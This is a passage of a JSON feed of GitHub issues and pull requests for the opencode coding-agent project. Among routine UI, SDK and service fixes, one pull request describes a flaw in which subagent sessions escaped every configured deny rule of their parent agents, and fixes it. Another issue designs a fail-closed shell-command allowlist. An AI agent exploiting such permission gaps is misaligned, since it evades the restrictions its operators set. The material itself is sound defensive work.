-c`, variables in command position. Precedent: grok-build parses with tree-sitter-bash but then enforces a strict node-kind allowlist (`try_parse_word_only_commands_sequence`) — words, strings, safe operators, redirects only — and fails closed to Ask on everything else; their wrapper-peeling (`env`/`timeout`/`nice`) and whitespace-prefix (CWE-178) cases are a ready-made adversarial corpus. The existing ARITY save-pattern table is parser-independent and carries over. Since core uses tree-sitter *only* for shell scanning, if this subset grows to cover what agents actually emit (env prefixes, heredocs), it could eventually replace tree-sitter in core entirely: no wasm assets, no per-runtime seams. Open questions before \"replace\": PowerShell fidelity on Windows, and substitution-recursion UX (tree-sitter decomposes `git commit -m \"$(cat <<'EOF'…)\"` into inner commands instead of asking). **3. Static single-module WASM build.** Compile tree-sitter core + grammars into one module (no dynamic linking), import it as a workerd module binding, patch `Language.load`'s tail to wrap the already-exported `tree_sitter_bash` symbol. Full fidelity everywhere and it kills the whole `locateFile` asset-path fragility class — but core takes on an emscripten build pipeline and loses npm prebuilts, in service of one function. **4. Patch web-tree-sitter's dynamic linker** to accept `{ module, bytes }` (parse dylink metadata from bytes, instantiate the precompiled Module — instantiating a Module is legal in workerd). Smallest diff for full fidelity, but it patches generated emscripten glue that churns on every web-tree-sitter release. ## Suggested direction 1 + 2 now (2's failure mode is over-asking, never over-allowing), keep 3/4 as follow-ups only if the subset parser's ask-noise turns out to matter in practice. Interested in opinions on the \"2 eventually replaces tree-sitter in core\" endgame, particularly the PowerShell story.",
          "url": "https://github.com/anomalyco/opencode/issues/42184",
          "createdAt": "2026-08-12T23:57:43Z",
          "updatedAt": "2026-08-12T23:57:43Z",
          "timestamp": "2026-08-12T23:57:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1bcee6ce7af96e53fc15",
        "signalId": "github:anomalyco/opencode:pull_request:42174",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42174",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): subagent sessions inherit ancestor deny rules",
          "text": "## What Before, permission checks used only the current session's agent ruleset, so a subagent session escaped every configured deny in its ancestry. After, denies are fences and asks are per-agent gates: | Ancestor verdict | Current agent + remembered verdict | Result | | --- | --- | --- | | deny | any | deny | | ask or allow | deny | deny | | ask or allow | ask | ask | | ask or allow | allow | allow | Configured denies always win, including over remembered approvals. Ancestor asks and allows do not participate in the current session's gate. V2 agent permissions are explicit per-agent configuration, so a broader child ruleset is deliberate user intent. This matches V1's documented philosophy that parent-agent restrictions govern that agent while a subagent's own permissions determine its capabilities, while improving on V1 by evaluating the live session ancestry instead of copying a spawn-time snapshot. Embedded and headless hosts depend on ancestor deny fences to prevent a child from escaping explicit host restrictions, without introducing inherited asks that cannot be answered and can wedge a turn. ## How - Walk the live session parent chain and collect configured ancestor rulesets. - For each resource, deny if any ancestor or the current agent evaluates to deny; otherwise evaluate only the current agent's ruleset plus remembered approvals for ask/allow. - Treat a missing ancestor agent as an empty ruleset, while a missing current agent remains deny-all. - Reuse the same evaluator for live checks and the pending-request auto-reply loop. - Remove the resolved subagent permission TODO. ## Scope `external_directory` is the V2 equivalent of the V1 action that was copied into child snapshots. This PR inherits its configured denies through the same fence as every action, but does not inherit its asks or allows; the current agent's live `external_directory` rules remain its gate. No API or protocol changes. ## Testing - `bun run test test/permission.test.ts` (15 passed) - `bun run test test/tool-subagent.test.ts` (6 passed) - `bun typecheck` in `packages/core` - Pre-push monorepo typecheck (34 tasks passed)",
          "url": "https://github.com/anomalyco/opencode/pull/42174",
          "createdAt": "2026-08-12T23:22:57Z",
          "updatedAt": "2026-08-12T23:56:21Z",
          "timestamp": "2026-08-12T23:56:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:434c025a200297ab1ebf",
        "signalId": "github:anomalyco/opencode:pull_request:42130",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42130",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): render Mermaid timelines",
          "text": "## What Render Mermaid `timeline` fences as terminal-native vertical timelines in OpenCode instead of falling back to source code. ```text Product history Foundation ───┐ │ 2024 ───● Prototype │ First release ``` Bare, `TD`, and `LR` timeline headers preserve Mermaid parse semantics while sharing the vertical layout that remains readable in narrow terminal viewports. ## How - Adds timeline detection, parsing, vertical-spine drawing, styling, and plain rendering to `packages/merman/src/timeline`. - Supports titles, sections, standalone periods, inline and continued events, entities, `<br>` lines, comments, and accessibility metadata. - Integrates timeline output with the existing themed Markdown renderer and streaming fallback behavior. - Keeps the implementation synchronized with `@opentui/mermaid` in anomalyco/opentui#1351 until OpenCode can consume that package directly. ## Scope This intentionally renders `timeline LR` vertically. Horizontal timelines become unreadable quickly in terminal message viewports. Mermaid-specific timeline styling and icons remain unsupported. ## Testing - `bun run test` in `packages/merman`: 311 passed - `bun run typecheck` in `packages/merman` - Push hook: full monorepo typecheck, 32 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42130",
          "createdAt": "2026-08-12T19:38:23Z",
          "updatedAt": "2026-08-12T23:55:41Z",
          "timestamp": "2026-08-12T23:55:41Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:2b56c0cc1e82a69c4ac0",
        "signalId": "github:anomalyco/opencode:pull_request:41946",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41946",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(cli): harden managed service replacement",
          "text": "## What Prevent managed-service restart storms when a running TUI outlives an automatic CLI update, and harden lifecycle recovery so clients never terminate a process from registration data alone. This fixes the incident where a `next-17271` TUI remained alive after the installed package became `next-17272`. The old process repeatedly treated each `17272` service it spawned as incompatible, stopped it, and spawned the same newer binary again. The TUI repeatedly lost transport, migration polling mislabeled the disconnect as a data migration failure, and restart recovery added repeated continuation entries. The lifecycle rules are now explicit: | Caller | Registered service | Behavior | | --- | --- | --- | | fresh newer client | older service | authenticated exact-instance stop, then start installed version | | interactive older TUI | newer service | ask once; Enter performs authenticated downgrade, cancel leaves the owner untouched | | noninteractive older client | newer service | bounded `VersionMismatchError`; never stop or spawn | | explicit `service restart` | newer service after deliberate downgrade | authenticated exact-instance stop, then require installed older version | | reconnecting TUI | any modern version | version-agnostic reconnect; never activate replacement | | any client | unresponsive or legacy service | never send an OS signal; return manual recovery guidance | | any client | unknown/incomparable version | non-destructive mismatch; replacement can never be mutual | ## Before / After **Before** 1. A `next-17271` TUI launched and started an asynchronous update. 2. The installed executable became `next-17272`, while the TUI process image remained `17271`. 3. The stale TUI spawned `serve --service`; the on-disk executable started `17272`. 4. The stale TUI observed `17272` as a mismatch and stopped it. 5. It spawned the same `17272` executable again, repeating roughly every two seconds. 6. Each short-lived server ran restart continuity, disconnected event streams, and made migration polling throw `Transport`. **After** 1. Version replacement has a directional policy. 2. A newer fresh launch may activate an upgrade. 3. An older interactive TUI asks before activating a downgrade; Escape or Ctrl+C leaves the newer service untouched. 4. Noninteractive clients receive an actionable error, while explicit restart remains the deliberate command-level downgrade operation. 5. Reconnect remains versionless and cannot join a replacement loop. 6. Lifecycle code uses only authenticated `/api/service/stop`; it has no `SIGTERM` or `SIGKILL` path. 7. Transport failure during migration polling is retried instead of reported as migration corruption. ## How - `packages/client/src/service.ts` - compares release and preview build numbers directionally for CLI and desktop; - makes replacement explicit opt-in for all client consumers; - treats missing, malformed, and incomparable versions as non-destructive; - guarantees that two versions can never both replace each other. - `packages/client/src/effect/service.ts` and `packages/client/src/promise/service.ts` - return `VersionMismatchError` when replacement policy protects the owner; - remove automatic unresponsive-owner eviction; - remove legacy and timeout-based OS signal fallback; - surface rejected, unsupported, timed-out, and non-exiting stop failures; - remove dead timeout, identity-comparison, and probe-wrapper machinery. - `packages/client/src/promise/service.ts` - validates registration and health structures with Effect-equivalent constraints; - rejects invalid PIDs, primitive health JSON, partial modern responses, and wrong field types. - `packages/cli/src/commands/handlers/service/restart.ts` - requires the installed version after explicit restart, including deliberate downgrade. - `packages/cli/src/services/server-connection.ts` - preserves versionless reconnect; - offers interactive confirmation only when the running service is provably newer; - makes confirmed and command-level restart require the installed version. - `packages/cli/src/services/update-preflight.tsx` - renders the downgrade confirmation before the existing restart footer; - adds one cell of left padding to both mini-TUI states. - `packages/desktop/src/main/background-cli.ts` - shares the directional upgrade-only policy instead of inheriting permissive replacement. - `packages/tui/src/component/migration-overlay.tsx` - retries transient `ClientError(\"Transport\")` instead of showing `Data migration failed`; - exits retry delays after overlay cleanup. ## Scope This PR is the incident containment and client-side safety layer. It deliberately does not implement the larger ownership redesign already described in `docs/design/service-lifecycle.md`: - lifetime process-held OS service ownership; - registration self-repair instead of registration-driven owner shutdown; - globally coordinated contender spawning across client processes; - exact health `instanceID` and explicit lifecycle-state protocol fields; - automatic recovery of a truly frozen service without a safe OS process-identity primitive. The last point is intentionally conservative: a stale registration PID may have been reused by another application, so this PR refuses to signal it. ## Testing - `cd packages/client && bun run test`: 64 passed. - `cd packages/client && bun typecheck`: passed. - `cd packages/cli && bun run test test/service.test.ts test/server-connection.test.ts --test-name-pattern 'managed version replacement|only newer clients|resolution groups|service options|concurrent service processes'`: 5 passed. - `cd packages/cli && bun typecheck`: passed. - `cd packages/desktop && bun typecheck`: passed. - `cd packages/tui && bun run test`: 661 passed, 5 skipped. - `cd packages/tui && bun typecheck`: passed. - High-risk lifecycle subset repeated 10 times on the committed code: no failures. - Version-order and anti-mutual-replacement subset repeated 25 times after the final simplify pass: no failures. - Pre-push repository typecheck: 32 packages passed. - PTY checks at 100 and 64 columns: Enter confirmed; Escape and Ctrl+C cancelled; renderer teardown returned clean output; left inset and wrapping verified. The lifecycle battery covers: - twenty mixed Effect/Promise launchers converging on one replacement owner; - stale clients refusing to replace newer owners; - explicit downgrade activation through restart; - ready, starting, failed, unresponsive, rejecting, timeout, and legacy owners; - malformed registrations and health payloads; - no automatic eviction and no OS signal fallback; - exact authenticated stop identity; - contender success, failure, signal, delay, and loser convergence; - symmetric version-pair checks proving replacement is never mutual. ## Flow ```mermaid sequenceDiagram participant TUI as Fresh TUI participant Reg as Registration participant Old as Current service participant New as Installed service TUI->>Reg: Read and authenticate owner Reg-->>TUI: version + exact instance alt installed version is newer TUI->>Old: POST /api/service/stop(instanceID) Old-->>TUI: accepted Old-->>Old: graceful shutdown TUI->>New: spawn installed binary New-->>Reg: publish new owner TUI->>New: attach when ready else installed version is older TUI-->>TUI: Ask for downgrade confirmation alt user confirms TUI->>Old: POST /api/service/stop(instanceID) TUI->>New: spawn installed older binary else user cancels or caller is noninteractive TUI-->>TUI: Keep newer owner untouched end else reconnect TUI->>Reg: rediscover without version gate TUI->>Old: attach to current owner end ```",
          "url": "https://github.com/anomalyco/opencode/pull/41946",
          "createdAt": "2026-08-12T04:16:59Z",
          "updatedAt": "2026-08-12T23:53:19Z",
          "timestamp": "2026-08-12T23:53:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:5429fa1584686669517f",
        "signalId": "github:anomalyco/opencode:pull_request:42047",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42047",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(github): allow configured bots to trigger actions",
          "text": "### Issue for this PR Closes #7103 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Adds an `allowed_bots` input to the GitHub Action so trusted GitHub App bots can trigger OpenCode workflows. Bots remain denied by default; callers can allow specific comma-separated bot usernames or use `*` to allow all bots. Bot actors are identified from the webhook sender's explicit `type`, then matched case-insensitively with or without the `[bot]` suffix. Allowed bots bypass the collaborator permission check because GitHub App bot accounts are not repository collaborators and GitHub reports their permission as `none`. Inspired by https://github.com/anthropics/claude-code-action/pull/117. ### How did you verify your code works? - `bun test test/cli/github-action.test.ts` from `packages/opencode` (23 tests) - `bun typecheck` from `packages/opencode` - Repository pre-push typecheck (30 packages) - `git diff --check origin/dev...HEAD` ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42047",
          "createdAt": "2026-08-12T14:56:32Z",
          "updatedAt": "2026-08-12T23:49:18Z",
          "timestamp": "2026-08-12T23:49:18Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "dan-turner",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4a5b2361d986137e53b6",
        "signalId": "github:anomalyco/opencode:pull_request:42175",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42175",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(sdk): re-export Event schema from sdk-next",
          "text": "## What Expose the `Event` schema namespace from `@opencode-ai/sdk-next` so embedders consuming typed session and event streams do not need to deep-import `@opencode-ai/schema`. ## How Re-export `Event` alongside the SDK entrypoint’s existing schema namespaces and extend the canonical contract test to verify its identity and public presence. ## Scope Only the `sdk-next` public export surface and its contract test are changed. ## Testing - `bun run test` in `packages/sdk-next` (15 passed) - `bun typecheck` in `packages/sdk-next` - Push hook repository typecheck (34 tasks passed)",
          "url": "https://github.com/anomalyco/opencode/pull/42175",
          "createdAt": "2026-08-12T23:23:34Z",
          "updatedAt": "2026-08-12T23:44:37Z",
          "timestamp": "2026-08-12T23:44:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:b8eba090b824e4c092b0",
        "signalId": "github:anomalyco/opencode:issue:42182",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42182",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Catalog feedback] Help",
          "text": "## 1. Row 15, column 66 this should probably just go away... it's not actually helpful. ## Catalog state - Screen: `help` - Theme: `opencode` - Link: http://localhost:4187/?screen=help&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoiaGVscCIsInZhcmlhbnQiOiJvcGVuY29kZSIsImFubm90YXRpb25zIjpbeyJpZCI6IjBmMzlkNjJkLTc3YTctNDFmZi1hOTM4LTgwMjM2MWQ4NzE2NyIsInJvdyI6MTQsImNvbHVtbiI6NjUsIm5vdGUiOiJ0aGlzIHNob3VsZCBwcm9iYWJseSBqdXN0IGdvIGF3YXkuLi4gaXQncyBub3QgYWN0dWFsbHkgaGVscGZ1bC4ifV19 <details> <summary>Annotation data</summary> ```json { \"version\": 1, \"identifier\": \"help\", \"variant\": \"opencode\", \"annotations\": [ { \"id\": \"0f39d62d-77a7-41ff-a938-802361d87167\", \"row\": 14, \"column\": 65, \"note\": \"this should probably just go away... it's not actually helpful.\" } ] } ``` </details>",
          "url": "https://github.com/anomalyco/opencode/issues/42182",
          "createdAt": "2026-08-12T23:40:44Z",
          "updatedAt": "2026-08-12T23:40:44Z",
          "timestamp": "2026-08-12T23:40:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "catalog",
            "design-feedback"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:eda29d008faf5e992efd",
        "signalId": "github:anomalyco/opencode:issue:42181",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42181",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Catalog feedback] Status",
          "text": "## 1. Row 12, column 54 this has different horizontal padding than other modals. ## Catalog state - Screen: `status` - Theme: `opencode` - Link: http://localhost:4187/?screen=status&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoic3RhdHVzIiwidmFyaWFudCI6Im9wZW5jb2RlIiwiYW5ub3RhdGlvbnMiOlt7ImlkIjoiNzNkZmVkM2UtYTJiZC00MTMzLTkxNWMtYjAwNWU3NGI0NmI1Iiwicm93IjoxMSwiY29sdW1uIjo1Mywibm90ZSI6InRoaXMgaGFzIGRpZmZlcmVudCBob3Jpem9udGFsIHBhZGRpbmcgdGhhbiBvdGhlciBtb2RhbHMuIn1dfQ <details> <summary>Annotation data</summary> ```json { \"version\": 1, \"identifier\": \"status\", \"variant\": \"opencode\", \"annotations\": [ { \"id\": \"73dfed3e-a2bd-4133-915c-b005e74b46b5\", \"row\": 11, \"column\": 53, \"note\": \"this has different horizontal padding than other modals.\" } ] } ``` </details>",
          "url": "https://github.com/anomalyco/opencode/issues/42181",
          "createdAt": "2026-08-12T23:40:22Z",
          "updatedAt": "2026-08-12T23:40:22Z",
          "timestamp": "2026-08-12T23:40:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "catalog",
            "design-feedback"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:246260fc5be5c964401a",
        "signalId": "github:anomalyco/opencode:issue:42180",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42180",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Catalog feedback] Debug",
          "text": "## 1. Row 13, column 76 this is wider than other modals, and has different horizontal padding. ## Catalog state - Screen: `debug` - Theme: `opencode` - Link: http://localhost:4187/?screen=debug&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoiZGVidWciLCJ2YXJpYW50Ijoib3BlbmNvZGUiLCJhbm5vdGF0aW9ucyI6W3siaWQiOiJjZTcxNTMxNy03YjgwLTQ0ZTctOTYwYy1hZjE3OWEzZWUxNWIiLCJyb3ciOjEyLCJjb2x1bW4iOjc1LCJub3RlIjoidGhpcyBpcyB3aWRlciB0aGFuIG90aGVyIG1vZGFscywgYW5kIGhhcyBkaWZmZXJlbnQgaG9yaXpvbnRhbCBwYWRkaW5nLiJ9XX0 <details> <summary>Annotation data</summary> ```json { \"version\": 1, \"identifier\": \"debug\", \"variant\": \"opencode\", \"annotations\": [ { \"id\": \"ce715317-7b80-44e7-960c-af179a3ee15b\", \"row\": 12, \"column\": 75, \"note\": \"this is wider than other modals, and has different horizontal padding.\" } ] } ``` </details>",
          "url": "https://github.com/anomalyco/opencode/issues/42180",
          "createdAt": "2026-08-12T23:39:59Z",
          "updatedAt": "2026-08-12T23:39:59Z",
          "timestamp": "2026-08-12T23:39:59Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "catalog",
            "design-feedback"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:8b890ba8b3c57530091f",
        "signalId": "github:anomalyco/opencode:pull_request:41605",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41605",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "chore: upgrade opentui 0.5.1",
          "url": "https://github.com/anomalyco/opencode/pull/41605",
          "createdAt": "2026-08-10T20:45:10Z",
          "updatedAt": "2026-08-12T23:36:12Z",
          "timestamp": "2026-08-12T23:36:12Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "simonklee",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a119e0b6d6493aa3e46c",
        "signalId": "github:anomalyco/opencode:pull_request:38403",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38403",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(ui): standardize v2 tooltip delay",
          "text": "## Summary - standardize TooltipV2 hover delay at 400ms across the new layout - add an intent-delay mode for V2 model-picker details: 1s for the first tooltip, instant while moving directly between models, and reset after leaving - apply intent delay to paid and unpaid V2 model pickers used by session and new-session composers - isolate V2 model-preview warm state from Kobalte's global tooltip warm state so opening a picker always starts with the 1s delay - leave all legacy Tooltip behavior unchanged - add no tests, as requested ## Checks - `GOMAXPROCS=4 bun typecheck` from `packages/app` - `bun typecheck` from `packages/ui` - `bun typecheck` from `packages/session-ui` - focused intent timing check covering cold open, adjacent-model warm open, and reset after leaving - Prettier check on all changed files - `git diff --check` Requested by: @jayair (Jay V via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/38403",
          "createdAt": "2026-07-22T23:35:03Z",
          "updatedAt": "2026-08-12T23:35:57Z",
          "timestamp": "2026-08-12T23:35:57Z",
          "metrics": {
            "reactions": 0,
            "comments": 5
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e2f5937fce54db7f91d3",
        "signalId": "github:anomalyco/opencode:pull_request:37927",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:37927",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(app): navigate tabs by selection history",
          "text": "## Summary - rename desktop menu navigation to Previous Tab and Next Tab - traverse tab selection history instead of visual tab order - skip closed tabs and duplicate entries for the active tab ## Testing - bun test --preload ./happydom.ts ./src/desktop-menu.test.ts ./src/context/tab-history.test.ts ./src/context/tabs.test.ts - bun typecheck - pre-push workspace typecheck",
          "url": "https://github.com/anomalyco/opencode/pull/37927",
          "createdAt": "2026-07-20T13:16:55Z",
          "updatedAt": "2026-08-12T23:35:54Z",
          "timestamp": "2026-08-12T23:35:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Hona",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:b832f18b7122287d55cc",
        "signalId": "github:anomalyco/opencode:pull_request:41968",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41968",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(cli): survive broken stdio pipes",
          "text": "The compiled Bun CLI dies from unhandled EPIPE errors in two distinct ways, and both are fatal for the background service. 1. Stdio pipes: when the consumer of the service's stdout/stderr goes away while the server keeps logging, the next write raises EPIPE. The Node wrapper guarded stdout only; the Bun-compiled binary that the desktop stages had no guard, and the desktop supervisor pipes stderr. 2. Native async pipe writes: the service also crashed reproducibly during the boot-time project copy refresh with a stack-less EPIPE raised from native async I/O completion (a git child stdin or socket write racing a peer disconnect). These errors carry no JS frames, so they bypass every Effect error channel and surface as an uncaught exception: ``` UNCAUGHT uncaughtException EPIPE: broken pipe, write ``` This made `bun dev:desktop` unusable: the service registered, answered the readiness probe, then died seconds later during its boot refresh, and the renderer looped on \"event stream disconnected\" forever. The fix is one idempotent `guardStdio()` in the shared CLI entry, called by both entrypoints: - stream error listeners on stdout and stderr that swallow EPIPE and rethrow everything else - process-level `uncaughtException` and `unhandledRejection` handlers that swallow EPIPE only and preserve fatal semantics (print and exit 1) for everything else A broken pipe is always a peer disconnect and must never terminate the server process. Validated on Windows: with the guard the service survives its boot project copy refresh (previously a reliable crash under concurrent-service git contention), keeps listening, and survives its spawner tree being killed while it logs.",
          "url": "https://github.com/anomalyco/opencode/pull/41968",
          "createdAt": "2026-08-12T08:08:34Z",
          "updatedAt": "2026-08-12T23:35:35Z",
          "timestamp": "2026-08-12T23:35:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "Hona",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:24fd126f918f92baa0b9",
        "signalId": "github:anomalyco/opencode:issue:4832",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:4832",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG]: Gemini 3 Pro function calling fails - missing `thoughtSignature` support",
          "text": "# [BUG]: Gemini 3 Pro function calling fails - missing `thoughtSignature` support ## Description When using Gemini 3 Pro models (`gemini-3-pro-preview`) with function calling/tool use, requests fail with error: ``` Unable to submit request because function call `default_api:webfetch` in the 4. content block is missing a `thought_signature`. ``` ## Root Cause Gemini 3 Pro **requires** `thoughtSignature` to be preserved and passed back during multi-step function calling. This is a **mandatory validation** introduced in Gemini 3 (unlike Gemini 2.5 where it was optional). ### How Gemini 3 Thought Signatures Work 1. When model responds with a `functionCall`, it includes a `thoughtSignature` field 2. **Client MUST preserve this signature** and include it in the next request when sending `functionResponse` 3. If signature is missing → API returns 400 error Reference: https://ai.google.dev/gemini-api/docs/thought-signatures ### Expected Flow ``` Turn 1, Step 1: Request: user_prompt Response: functionCall + thoughtSignature Turn 1, Step 2: Request: user_prompt + (functionCall + thoughtSignature) + functionResponse ← signature MUST be here Response: text_output or another functionCall + signature ``` ## Current Behavior in OpenCode OpenCode does not preserve `thoughtSignature` from Gemini API responses when building subsequent requests in conversation history. The `contents` array in requests to Gemini API is missing the `thoughtSignature` field in `functionCall` parts. ## Affected Models - `gemini-3-pro-preview` (mandatory - will error) - `gemini-2.5-pro` / `gemini-2.5-flash` (optional but recommended for reasoning quality) ## Proposed Fix ### Option 1: Preserve thoughtSignature in Message History When storing model responses that contain `functionCall` parts, also store the `thoughtSignature` field. When building the next request, include the signature in the corresponding content part: ```json { \"contents\": [ { \"role\": \"model\", \"parts\": [ { \"functionCall\": { \"name\": \"webfetch\", \"args\": {...} }, \"thoughtSignature\": \"<preserved_signature>\" // ← Add this } ] } ] } ``` ### Option 2: Dummy Signature Workaround According to Google's documentation, for cases where signatures cannot be preserved (e.g., transferring from another model), you can use dummy signatures: ``` \"skip_thought_signature_validator\" ``` or ``` \"context_engineering_is_the_way_to_go\" ``` This skips validation but may degrade reasoning quality. ## Steps to Reproduce 1. Configure opencode with Gemini 3 Pro (`gemini-3-pro-preview`) 2. Ask a question that triggers tool/function calling (e.g., web search, file operations) 3. When model makes a function call and receives response, the next request fails ## Environment - OpenCode version: latest - Model: `gemini-3-pro-preview` - Provider: Google AI / Vertex AI ## Additional Context - This issue affects any multi-step agentic workflow with Gemini 3 - The Gemini CLI and official Google Gen AI SDKs handle this automatically via chat history management - OpenCode's custom provider/plugin architecture needs to explicitly handle this ## Related Links - [Gemini Thought Signatures Documentation](https://ai.google.dev/gemini-api/docs/thought-signatures) - [Dify Plugin Fix for same issue](https://github.com/langgenius/dify-official-plugins/issues/2088)",
          "url": "https://github.com/anomalyco/opencode/issues/4832",
          "createdAt": "2025-11-27T15:51:04Z",
          "updatedAt": "2026-08-12T23:34:59Z",
          "timestamp": "2026-08-12T23:34:59Z",
          "metrics": {
            "reactions": 14,
            "comments": 35
          },
          "labels": [],
          "author": "linhlban150612",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a1d045213da189f59fbf",
        "signalId": "github:anomalyco/opencode:pull_request:42178",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42178",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): apply variable substitution to v2 config loading",
